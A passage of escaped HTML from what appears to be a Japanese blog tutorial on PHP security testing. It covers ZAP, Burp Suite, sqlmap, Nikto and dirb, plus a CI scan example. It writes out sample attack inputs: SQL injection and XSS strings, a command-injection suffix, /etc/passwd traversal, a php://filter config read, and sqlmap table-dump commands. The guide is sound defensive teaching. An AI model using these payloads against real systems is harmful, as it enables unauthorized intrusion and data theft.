class=\"has-fixed-layout\"><thead><tr><th>\u30c4\u30fc\u30eb<\/th><th>\u4e3b\u306a\u7279\u5fb4<\/th><th>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd<\/th><th>\u5b66\u7fd2\u66f2\u7dda<\/th><\/tr><\/thead><tbody><tr><td>PHPStan<\/td><td>\u578b\u30c1\u30a7\u30c3\u30af\u3001\u6bb5\u968e\u7684\u306a\u53b3\u683c\u3055\u30ec\u30d9\u30eb<\/td><td>\u30df\u30c7\u30a3\u30a2\u30e0\uff08\u62e1\u5f35\u3067\u5f37\u5316\u53ef\u80fd\uff09<\/td><td>\u4f4e\u301c\u4e2d<\/td><\/tr><tr><td>Psalm<\/td><td>\u578b\u30c1\u30a7\u30c3\u30af\u3001\u30bf\u30a4\u30f3\u30c8\u89e3\u6790<\/td><td>\u9ad8\uff08\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30b0\u30a4\u30f3\uff09<\/td><td>\u4e2d<\/td><\/tr><tr><td>PHPCS<\/td><td>\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6a19\u6e96\u3001\u30ab\u30b9\u30bf\u30e0\u30eb\u30fc\u30eb<\/td><td>\u4e2d\uff08\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ca\u30a4\u30d5\u30a1\u30fc\uff09<\/td><td>\u4f4e<\/td><\/tr><tr><td>SonarQube<\/td><td>\u591a\u8a00\u8a9e\u5bfe\u5fdc\u3001\u30c0\u30c3\u30b7\u30e5\u30dc\u30fc\u30c9<\/td><td>\u9ad8\uff08\u5305\u62ec\u7684\u306a\u30eb\u30fc\u30eb\u30bb\u30c3\u30c8\uff09<\/td><td>\u9ad8<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p>\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5411\u4e0a\u3055\u305b\u308b\u305f\u3081\u306e\u91cd\u8981\u306a\u624b\u6bb5\u3067\u3059\u3002\u3053\u308c\u3089\u3092\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u6f5c\u5728\u7684\u306a\u8106\u5f31\u6027\u3092\u65e9\u671f\u306b\u767a\u898b\u3057\u3001\u4fee\u6b63\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u5358\u4e00\u306e\u30c4\u30fc\u30eb\u306b\u983c\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u8907\u6570\u306e\u30c4\u30fc\u30eb\u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u5305\u62ec\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-152\">\u52d5\u7684\u89e3\u6790\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u5b9f\u65bd\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u9759\u7684\u89e3\u6790\u304c\u300c\u30b3\u30fc\u30c9\u3092\u8aad\u3080\u300d\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u3042\u308b\u306e\u306b\u5bfe\u3057\u3001\u52d5\u7684\u89e3\u6790\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306f\u300c\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u3066\u653b\u6483\u3059\u308b\u300d\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u624b\u6cd5\u306f\u3001\u5b9f\u969b\u306e\u653b\u6483\u8005\u304c\u4f7f\u7528\u3059\u308b\u65b9\u6cd5\u3068\u540c\u69d8\u306e\u624b\u6cd5\u3067\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u691c\u51fa\u3059\u308b\u305f\u3081\u3001\u5b9f\u74b0\u5883\u3067\u306e\u8106\u5f31\u6027\u3092\u3088\u308a\u6b63\u78ba\u306b\u7279\u5b9a\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-153\">\u52d5\u7684\u89e3\u6790\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u9055\u3044<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u52d5\u7684\u89e3\u6790\uff08DAST: Dynamic Application Security Testing\uff09<\/strong>\uff1a\u5b9f\u884c\u4e2d\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u5bfe\u3057\u3066\u81ea\u52d5\u5316\u3055\u308c\u305f\u30c6\u30b9\u30c8\u3092\u884c\u3044\u3001\u65e2\u77e5\u306e\u8106\u5f31\u6027\u30d1\u30bf\u30fc\u30f3\u3092\u691c\u51fa\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\uff08Pentest\uff09<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5c02\u9580\u5bb6\u304c\u5b9f\u969b\u306e\u653b\u6483\u8005\u306e\u8996\u70b9\u3067\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u624b\u52d5\u3067\u63a2\u7d22\u3057\u60aa\u7528\u3092\u8a66\u307f\u307e\u3059\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-154\">\u4e3b\u8981\u306a\u30c4\u30fc\u30eb\u3068\u4f7f\u7528\u65b9\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-155\">1. OWASP ZAP (Zed Attack Proxy)<\/h5>\n\n\n\n<p>\u7121\u6599\u306e\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30c4\u30fc\u30eb\u3067\u3001\u52d5\u7684\u30b9\u30ad\u30e3\u30f3\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u4e21\u65b9\u306b\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/strong>:\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.zaproxy.org\/download\/\">OWASP ZAP\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30da\u30fc\u30b8<\/a>\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u57fa\u672c\u7684\u306a\u30b9\u30ad\u30e3\u30f3<\/strong>: <code># \u8d77\u52d5\u5f8c\u3001URL\u3092\u5165\u529b\u3057\u3066\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3 1. \u300c\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af 2. \u30bf\u30fc\u30b2\u30c3\u30c8URL\u3092\u5165\u529b\uff08\u4f8b: http:\/\/localhost\/my-php-app\/\uff09 3. \u300c\u653b\u6483\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af<\/code><\/li>\n\n\n\n<li><strong>\u30d7\u30ed\u30ad\u30b7\u30e2\u30fc\u30c9\u306e\u4f7f\u7528<\/strong>: <code>1. ZAP\u3092\u30d7\u30ed\u30ad\u30b7\u3068\u3057\u3066\u8a2d\u5b9a\uff08\u30c7\u30d5\u30a9\u30eb\u30c8: localhost:8080\uff09 2. \u30d6\u30e9\u30a6\u30b6\u306e\u30d7\u30ed\u30ad\u30b7\u8a2d\u5b9a\u3092\u5909\u66f4\u3059\u308b\u304b\u3001\u30d6\u30e9\u30a6\u30b6\u30d7\u30e9\u30b0\u30a4\u30f3\u3092\u4f7f\u7528 3. \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u901a\u5e38\u901a\u308a\u4f7f\u7528\uff08ZAP\u304c\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u76e3\u8996\uff09 4. \u300c\u30a2\u30af\u30c6\u30a3\u30d6\u30b9\u30ad\u30e3\u30f3\u300d\u3092\u5b9f\u884c\u3057\u3066\u691c\u51fa\u3055\u308c\u305f\u8106\u5f31\u6027\u3092\u78ba\u8a8d<\/code><\/li>\n\n\n\n<li><strong>PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u7528\u306e\u30b9\u30ad\u30e3\u30f3\u30dd\u30ea\u30b7\u30fc\u306e\u30ab\u30b9\u30bf\u30de\u30a4\u30ba<\/strong>: <code>1. \u30dd\u30ea\u30b7\u30fc \u2192 \u30b9\u30ad\u30e3\u30f3\u30dd\u30ea\u30b7\u30fc\u3092\u9078\u629e 2. PHP\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001XSS\u306a\u3069\u306e\u95a2\u9023\u3059\u308b\u30eb\u30fc\u30eb\u3092\u6709\u52b9\u5316 3. \u30ab\u30b9\u30bf\u30e0\u30dd\u30ea\u30b7\u30fc\u3068\u3057\u3066\u4fdd\u5b58<\/code><\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-156\">2. Burp Suite<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5c02\u9580\u5bb6\u306b\u6700\u3082\u5e83\u304f\u4f7f\u308f\u308c\u3066\u3044\u308bWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u30c4\u30fc\u30eb\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/strong>:\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/portswigger.net\/burp\/communitydownload\">Burp Suite\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30da\u30fc\u30b8<\/a>\u304b\u3089Community Edition\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u30d7\u30ed\u30ad\u30b7\u306e\u8a2d\u5b9a<\/strong>: <code>1. Burp Suite\u3092\u8d77\u52d5\u3057\u3001Proxy\u30bf\u30d6\u3092\u9078\u629e 2. \u300cIntercept is on\u300d\u3092\u78ba\u8a8d 3. \u30d6\u30e9\u30a6\u30b6\u306e\u30d7\u30ed\u30ad\u30b7\u3092\u8a2d\u5b9a\uff08\u30c7\u30d5\u30a9\u30eb\u30c8: 127.0.0.1:8080\uff09 4. \u30d6\u30e9\u30a6\u30b6\u3067\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u30a2\u30af\u30bb\u30b9<\/code><\/li>\n\n\n\n<li><strong>\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u64cd\u4f5c<\/strong>: <code>1. Burp\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u30a4\u30f3\u30bf\u30fc\u30bb\u30d7\u30c8 2. \u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u5909\u66f4\u3057\u3066\u8106\u5f31\u6027\u3092\u30c6\u30b9\u30c8 - SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3: ' OR 1=1 -- - XSS: &lt;script&gt;alert('XSS')&lt;\/script&gt; - \u305d\u306e\u4ed6\u306e\u6ce8\u5165\u653b\u6483 3. \u300cForward\u300d\u30dc\u30bf\u30f3\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1<\/code><\/li>\n\n\n\n<li><strong>\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3\uff08Professional\u7248\u306e\u307f\uff09<\/strong>: <code>1. \u30b5\u30a4\u30c8\u30de\u30c3\u30d7\u304b\u3089\u30bf\u30fc\u30b2\u30c3\u30c8URL\u3092\u53f3\u30af\u30ea\u30c3\u30af 2. \u300cScan\u300d\u3092\u9078\u629e 3. \u30b9\u30ad\u30e3\u30f3\u8a2d\u5b9a\u3092\u30ab\u30b9\u30bf\u30de\u30a4\u30ba\u3057\u3066\u300c\u958b\u59cb\u300d<\/code><\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-157\">3. SQLmap<\/h5>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u306b\u7279\u5316\u3057\u305f\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30c4\u30fc\u30eb\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/strong>: <code># Git\u304b\u3089\u30af\u30ed\u30fc\u30f3 git clone --depth 1 https:\/\/github.com\/sqlmapproject\/sqlmap.git sqlmap-dev # \u307e\u305f\u306f\u3001Kali Linux\u306a\u3069\u306b\u306f\u6a19\u6e96\u3067\u642d\u8f09<\/code><\/li>\n\n\n\n<li><strong>\u57fa\u672c\u7684\u306a\u30b9\u30ad\u30e3\u30f3<\/strong>: <code># GET\u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u30c6\u30b9\u30c8 python sqlmap.py -u \"http:\/\/example.com\/page.php?id=1\" --batch # POST\u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u30c6\u30b9\u30c8 python sqlmap.py -u \"http:\/\/example.com\/login.php\" --data=\"username=test&amp;password=test\" --batch # Cookie\u3092\u4f7f\u7528\u3057\u305f\u30c6\u30b9\u30c8 python sqlmap.py -u \"http:\/\/example.com\/member.php\" --cookie=\"PHPSESSID=1234abcd\" --batch<\/code><\/li>\n\n\n\n<li><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u60c5\u5831\u306e\u62bd\u51fa<\/strong>: <code># \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u4e00\u89a7\u306e\u53d6\u5f97 python sqlmap.py -u \"http:\/\/example.com\/page.php?id=1\" --dbs # \u30c6\u30fc\u30d6\u30eb\u4e00\u89a7\u306e\u53d6\u5f97 python sqlmap.py -u \"http:\/\/example.com\/page.php?id=1\" -D database_name --tables # \u30ab\u30e9\u30e0\u60c5\u5831\u306e\u53d6\u5f97 python sqlmap.py -u \"http:\/\/example.com\/page.php?id=1\" -D database_name -T table_name --columns # \u30c7\u30fc\u30bf\u306e\u30c0\u30f3\u30d7 python sqlmap.py -u \"http:\/\/example.com\/page.php?id=1\" -D database_name -T table_name -C column1,column2 --dump<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-158\">\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u4f53\u7cfb\u7684\u30a2\u30d7\u30ed\u30fc\u30c1<\/h4>\n\n\n\n<p>\u52b9\u679c\u7684\u306a\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306f\u3001\u4f53\u7cfb\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u5b9f\u65bd\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-159\">1. \u8a08\u753b\u3068\u6e96\u5099<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30b9\u30b3\u30fc\u30d7\u306e\u5b9a\u7fa9<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u30c6\u30b9\u30c8\u5bfe\u8c61\u306ePHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u7bc4\u56f2\u3092\u660e\u78ba\u306b\u3059\u308b<\/li>\n\n\n\n<li>\u30c6\u30b9\u30c8\u53ef\u80fd\u306aURL\u3084\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3092\u30ea\u30b9\u30c8\u30a2\u30c3\u30d7<\/li>\n\n\n\n<li>\u30c6\u30b9\u30c8\u306e\u7a2e\u985e\u3068\u6df1\u3055\u3092\u6c7a\u5b9a\uff08\u30d6\u30e9\u30c3\u30af\u30dc\u30c3\u30af\u30b9\/\u30b0\u30ec\u30fc\u30dc\u30c3\u30af\u30b9\/\u30db\u30ef\u30a4\u30c8\u30dc\u30c3\u30af\u30b9\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u30c6\u30b9\u30c8\u74b0\u5883\u306e\u6e96\u5099<\/strong>\uff1a <code>- \u672c\u756a\u3068\u540c\u7b49\u306e\u30c6\u30b9\u30c8\u74b0\u5883\u3092\u7528\u610f - \u30c6\u30b9\u30c8\u30c7\u30fc\u30bf\u306e\u6e96\u5099\uff08\u6a5f\u5bc6\u30c7\u30fc\u30bf\u306f\u533f\u540d\u5316\uff09 - \u76e3\u8996\u30b7\u30b9\u30c6\u30e0\u306e\u8a2d\u5b9a\uff08\u30c6\u30b9\u30c8\u306b\u3088\u308b\u5f71\u97ff\u3092\u8ffd\u8de1\uff09<\/code><\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-160\">2. \u60c5\u5831\u53ce\u96c6\u3068\u5075\u5bdf<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30d1\u30c3\u30b7\u30d6\u5075\u5bdf<\/strong>\uff1a <code>- Web\u30b5\u30fc\u30d0\u30fc\u306e\u7a2e\u985e\u3068\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u7279\u5b9a - \u4f7f\u7528\u3057\u3066\u3044\u308bPHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u691c\u51fa - \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u69cb\u9020\u306e\u628a\u63e1 - robots.txt\u3001sitemap.xml\u306e\u78ba\u8a8d<\/code><\/li>\n\n\n\n<li><strong>\u30a2\u30af\u30c6\u30a3\u30d6\u30b9\u30ad\u30e3\u30f3<\/strong>\uff1a <code># Nikto\u306b\u3088\u308b\u30b9\u30ad\u30e3\u30f3 nikto -h http:\/\/target-application.com # dirb\/gobuster\u306b\u3088\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30b9\u30ad\u30e3\u30f3 dirb http:\/\/target-application.com \/usr\/share\/wordlists\/dirb\/common.txt<\/code><\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-161\">3. \u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3068\u7279\u5b9a<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3<\/strong>\uff1a <code>- OWASP ZAP\u3084Burp Suite\u3092\u4f7f\u7528\u3057\u305f\u5305\u62ec\u7684\u306a\u30b9\u30ad\u30e3\u30f3 - SQLmap\u306b\u3088\u308bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u306e\u691c\u51fa - Nikto\u306b\u3088\u308b\u30b5\u30fc\u30d0\u30fc\u8a2d\u5b9a\u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3<\/code><\/li>\n\n\n\n<li><strong>\u624b\u52d5\u30c6\u30b9\u30c8<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><strong>\u8a8d\u8a3c\u30e1\u30ab\u30cb\u30ba\u30e0\u306e\u30c6\u30b9\u30c8<\/strong>\uff1a <code>- \u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483\u306e\u8a66\u884c - \u30d1\u30b9\u30ef\u30fc\u30c9\u30ea\u30bb\u30c3\u30c8\u6a5f\u80fd\u306e\u691c\u8a3c - \u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027\u3092\u78ba\u8a8d<\/code><\/li>\n\n\n\n<li><strong>\u5165\u529b\u691c\u8a3c\u306e\u30c6\u30b9\u30c8<\/strong>\uff1a <code>- XSS\u8106\u5f31\u6027\uff1a&lt;script&gt;alert('XSS')&lt;\/script&gt; - \u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\uff1a; ls -la - \u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u8106\u5f31\u6027\uff1a\u60aa\u610f\u306e\u3042\u308bPHP\u30d5\u30a1\u30a4\u30eb<\/code><\/li>\n\n\n\n<li><strong>\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u30c6\u30b9\u30c8<\/strong>\uff1a <code>- \u6a29\u9650\u6607\u683c\u306e\u8a66\u884c - \u76f4\u63a5\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u53c2\u7167\uff08IDOR\uff09 - URL\u64cd\u4f5c\u306b\u3088\u308b\u30a2\u30af\u30bb\u30b9<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-162\">4. \u8106\u5f31\u6027\u306e\u691c\u8a3c\u3068\u60aa\u7528<\/h5>\n\n\n\n<p>\u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\u3092\u5b9f\u969b\u306b\u60aa\u7528\u3057\u3066\u78ba\u8a8d\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1. \u8106\u5f31\u6027\u306e\u518d\u73fe\u624b\u9806\u3092\u6587\u66f8\u5316\n2. \u8106\u5f31\u6027\u306e\u5f71\u97ff\u7bc4\u56f2\u3092\u8a55\u4fa1\n3. \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u96e3\u6613\u5ea6\u3092\u5224\u65ad\n4. \u30ea\u30b9\u30af\u30ec\u30d9\u30eb\u3092\u8a2d\u5b9a\uff08\u6df1\u523b\u5ea6\u00d7\u767a\u751f\u53ef\u80fd\u6027\uff09\n<\/pre>\n\n\n\n<p><strong>\u6ce8\u610f<\/strong>: \u60aa\u7528\u30c6\u30b9\u30c8\u306f\u5fc5\u305a\u8a31\u53ef\u3092\u5f97\u305f\u74b0\u5883\u3067\u884c\u3044\u3001\u5b9f\u30c7\u30fc\u30bf\u3078\u306e\u5f71\u97ff\u304c\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-163\">5. \u5831\u544a\u3068\u4fee\u6b63\u78ba\u8a8d<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5831\u544a\u66f8\u306e\u4f5c\u6210<\/strong>\uff1a <code>- \u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\u306e\u4e00\u89a7 - \u5404\u8106\u5f31\u6027\u306e\u6280\u8853\u7684\u8a73\u7d30\u3068\u518d\u73fe\u624b\u9806 - \u653b\u6483\u30b7\u30ca\u30ea\u30aa\u3068\u6f5c\u5728\u7684\u306a\u5f71\u97ff - \u63a8\u5968\u3055\u308c\u308b\u4fee\u6b63\u65b9\u6cd5<\/code><\/li>\n\n\n\n<li><strong>\u4fee\u6b63\u5f8c\u306e\u691c\u8a3c<\/strong>\uff1a <code>- \u4fee\u6b63\u304c\u9069\u7528\u3055\u308c\u305f\u5f8c\u306b\u518d\u30c6\u30b9\u30c8 - \u8106\u5f31\u6027\u304c\u9069\u5207\u306b\u4fee\u6b63\u3055\u308c\u305f\u304b\u78ba\u8a8d - \u4fee\u6b63\u306b\u3088\u308b\u65b0\u305f\u306a\u554f\u984c\u304c\u767a\u751f\u3057\u3066\u3044\u306a\u3044\u304b\u78ba\u8a8d<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-164\">PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u7279\u6709\u306e\u30c6\u30b9\u30c8\u9805\u76ee<\/h4>\n\n\n\n<p>PHP\u7279\u6709\u306e\u8106\u5f31\u6027\u306b\u7126\u70b9\u3092\u5f53\u3066\u305f\u30c6\u30b9\u30c8\u9805\u76ee\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027<\/strong>\uff1a <code>- URL\u306b ?page=..\/..\/..\/etc\/passwd \u306a\u3069\u3092\u4ed8\u52a0 - PHP\u30d5\u30a3\u30eb\u30bf\u3092\u4f7f\u7528: ?page=php:\/\/filter\/convert.base64-encode\/resource=config<\/code><\/li>\n\n\n\n<li><strong>PHP\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/strong>\uff1a <code>- \u30b7\u30ea\u30a2\u30eb\u5316\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u64cd\u4f5c\uff08Cookie\u3001\u96a0\u3057\u30d5\u30a3\u30fc\u30eb\u30c9\u306a\u3069\uff09 - \u60aa\u610f\u306e\u3042\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f5c\u6210\u3057\u3066\u6ce8\u5165<\/code><\/li>\n\n\n\n<li><strong>\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027<\/strong>\uff1a <code>- \u30bb\u30c3\u30b7\u30e7\u30f3ID\u306e\u4e88\u6e2c\u53ef\u80fd\u6027 - \u30bb\u30c3\u30b7\u30e7\u30f3\u56fa\u5b9a\u653b\u6483\u306e\u8a66\u884c - \u30bb\u30c3\u30b7\u30e7\u30f3\u30bf\u30a4\u30e0\u30a2\u30a6\u30c8\u306e\u691c\u8a3c<\/code><\/li>\n\n\n\n<li><strong>PHP\u306e\u8a2d\u5b9a\u30df\u30b9<\/strong>\uff1a <code>- PHP\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u9732\u51fa - PHP\u60c5\u5831\u6f0f\u6d29\uff08phpinfo()\u30da\u30fc\u30b8\u306a\u3069\uff09 - \u5371\u967a\u306a\u95a2\u6570\u306e\u4f7f\u7528\uff08eval\u3001system\u3001exec\u7b49\uff09<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-165\">\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\uff08DevSecOps\uff09<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u7d99\u7d9a\u7684\u306b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u78ba\u4fdd\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitLab CI\/CD\u306e\u4f8b\nstages:\n  - test\n  - security\n\nsecurity_scan:\n  stage: security\n  image: owasp\/zap2docker-stable\n  script:\n    - mkdir -p \/zap\/wrk\/\n    - zap-baseline.py -t https:\/\/staging-app.example.com -g gen.conf -r zap-report.html\n  artifacts:\n    paths:\n      - zap-report.html\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-166\">\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol 